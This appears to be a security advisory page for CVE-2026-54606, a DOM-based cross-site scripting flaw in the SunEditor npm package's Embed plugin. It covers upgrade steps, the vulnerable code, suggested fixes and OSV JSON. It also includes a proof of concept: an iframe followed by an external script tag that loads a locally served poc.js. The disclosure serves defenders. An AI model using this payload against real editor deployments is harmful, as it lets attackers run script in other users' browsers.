CVE-2026-54606: Suneditor Cross-Site Scripting Vulnerability

HIGH
Advisory Identifier: GHSA-w93q-cq9w-58p7
CWE-79
Published
Advisory Summary

CVE-2026-54606 is a HIGH cross-site scripting vulnerability (CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')) affecting Suneditor libraries in the npm ecosystem. The issue involves suneditor embed plugin has dom xss via external script element after iframe embed. Remediation is available by upgrading affected packages to version 3.1.4.

CVE-2026-54606 at a Glance

CVE Identifier CVE-2026-54606
GHSA Identifier GHSA-w93q-cq9w-58p7
Severity HIGH
CVSS v3.1 Base Score N/A
CWE Classification CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Affected Product Suneditor
Package Ecosystem npm
Published Date
Last Updated

How to Fix CVE-2026-54606

To remediate this vulnerability, upgrade all affected Suneditor dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

suneditor fixed: 3.1.4
npm install suneditor@3.1.4
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

npm ls suneditor

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-54606, inspect your project dependencies using npm:

npm ls suneditor

Analyze the terminal output to locate any version of Suneditor in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.1.4), your application is affected.

Note: The npm ls suneditor command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'), where the product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. In Suneditor, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

Summary A DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page. If an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content. Details The Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM. Relevant behavior: const embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children; if (/^script$/i.test(chd.nodeName)) { scriptTag = dom.utils.createElement('script', { src: chd.getAttribute('src'), async: 'true' }, null); continue; } cover.appendChild(scriptTag); Because the script is newly created and appended, it executes. PoC Start a local server hosting a JavaScript payload: ``` mkdir -p /tmp/suneditor-poc cd /tmp/suneditor-poc cat > poc.js <<'EOF' alert(1); console.log("SunEditor Embed Plugin XSS executed"); EOF python3 -m http.server 8000 ``` Open SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save : `<iframe src="https://youtube.com/embed/x"></iframe><script src="http://127.0.0.1:8000/poc.js"></script> ` Successful exploitation is confirmed when: `alert(1) appears` or the local server logs: `GET /poc.js` Impact An attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page. The issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization. Suggested Fix Do not recreate or append script elements from user-controlled embed HTML. Minimum mitigation: ``` if (/^script$/i.test(chd.nodeName)) { continue; } ``` A stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.

CVE-2026-54606 Affected Suneditor Versions

1 component(s)
Fixed Versions:
3.1.4
Product / Package Ecosystem Affected Versions Fixed Version
suneditor
npm
< 3.1.4
3.1.4

References

Frequently Asked Questions

What is CVE-2026-54606?
CVE-2026-54606 is a security vulnerability in Suneditor involving SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe Embed under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').
Which Suneditor versions are affected?
Affected versions include releases prior to 3.1.4 across affected packages: suneditor.
What version fixes CVE-2026-54606?
Upgrading to 3.1.4 (or the latest patched release for your respective branch) resolves the vulnerability.
Is suneditor affected?
Yes, suneditor is affected in releases prior to 3.1.4. Upgrade your dependency to 3.1.4 or later.
What CWE is associated with CVE-2026-54606?
CVE-2026-54606 is classified under CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') (The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.).
How can I check npm dependencies for CVE-2026-54606?
Run the dependency tree command: 'npm ls suneditor'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-w93q-cq9w-58p7",
  "modified" : "2026-08-26T15:26:24Z",
  "published" : "2026-08-26T15:26:24Z",
  "aliases" : [ "CVE-2026-54606" ],
  "summary" : "SunEditor Embed Plugin has DOM XSS via External Script Element After Iframe Embed",
  "details" : "Summary\n\nA DOM-based Cross-Site Scripting (XSS) vulnerability exists in the SunEditor Embed plugin. Crafted iframe embed HTML followed by an external <script src=...> element bypasses the plugin’s sanitization logic. The plugin recreates and appends the attacker-controlled script element to the live DOM, causing JavaScript execution in the context of the editor page.\n\nIf an application stores or reflects SunEditor content without additional backend sanitization, this can lead to stored or reflected XSS when another user opens, previews, renders, or edits the malicious content.\n\nDetails\n\nThe Embed plugin parses raw embed HTML and processes the resulting DOM nodes. When a <script> element is included after a valid iframe, the plugin creates a new script element using the attacker-controlled src value and appends it to the DOM.\n\nRelevant behavior:\n\nconst embedDOM = new DOMParser().parseFromString(src, 'text/html').body.children;\nif (/^script$/i.test(chd.nodeName)) {\n  scriptTag = dom.utils.createElement('script', {\n    src: chd.getAttribute('src'),\n    async: 'true'\n  }, null);\n  continue;\n}\ncover.appendChild(scriptTag);\n\nBecause the script is newly created and appended, it executes.\n\nPoC\n\nStart a local server hosting a JavaScript payload:\n\n```\nmkdir -p /tmp/suneditor-poc\ncd /tmp/suneditor-poc\n\ncat > poc.js <<'EOF'\nalert(1);\nconsole.log(\"SunEditor Embed Plugin XSS executed\");\nEOF\n\npython3 -m http.server 8000\n```\n\nOpen SunEditor with the Embed plugin enabled, then insert the following payload through the Embed modal and save :\n\n`<iframe src=\"https://youtube.com/embed/x\"></iframe><script src=\"http://127.0.0.1:8000/poc.js\"></script>\n`\nSuccessful exploitation is confirmed when:\n\n`alert(1) appears`\n\nor the local server logs:\n\n`GET /poc.js`\n\nImpact\n\nAn attacker who can provide or store embed HTML can execute arbitrary JavaScript in another user’s browser when the content is processed by SunEditor. This may allow account actions as the victim, modification of editor content, or access to sensitive data available in the editor page.\n\nThe issue is especially impactful when SunEditor content is stored in a backend and later reopened or rendered for administrators, editors, or other users without additional sanitization.\n\nSuggested Fix\n\nDo not recreate or append script elements from user-controlled embed HTML.\n\nMinimum mitigation:\n\n```\nif (/^script$/i.test(chd.nodeName)) {\n  continue;\n}\n```\n\nA stronger fix is to allow only expected embed elements such as iframe or blockquote, sanitize their attributes, and discard all other sibling elements.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "suneditor"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.1.4"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.1.3"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/JiHong88/suneditor/security/advisories/GHSA-w93q-cq9w-58p7"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/JiHong88/suneditor/issues/1649"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/JiHong88/suneditor/commit/9d43a5e082101d2d6475cba86e0d58d7c2cf6677"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/JiHong88/suneditor"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/JiHong88/suneditor/releases/tag/3.1.4"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-79" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-26T15:26:24Z",
    "nvd_published_at" : null
  }
}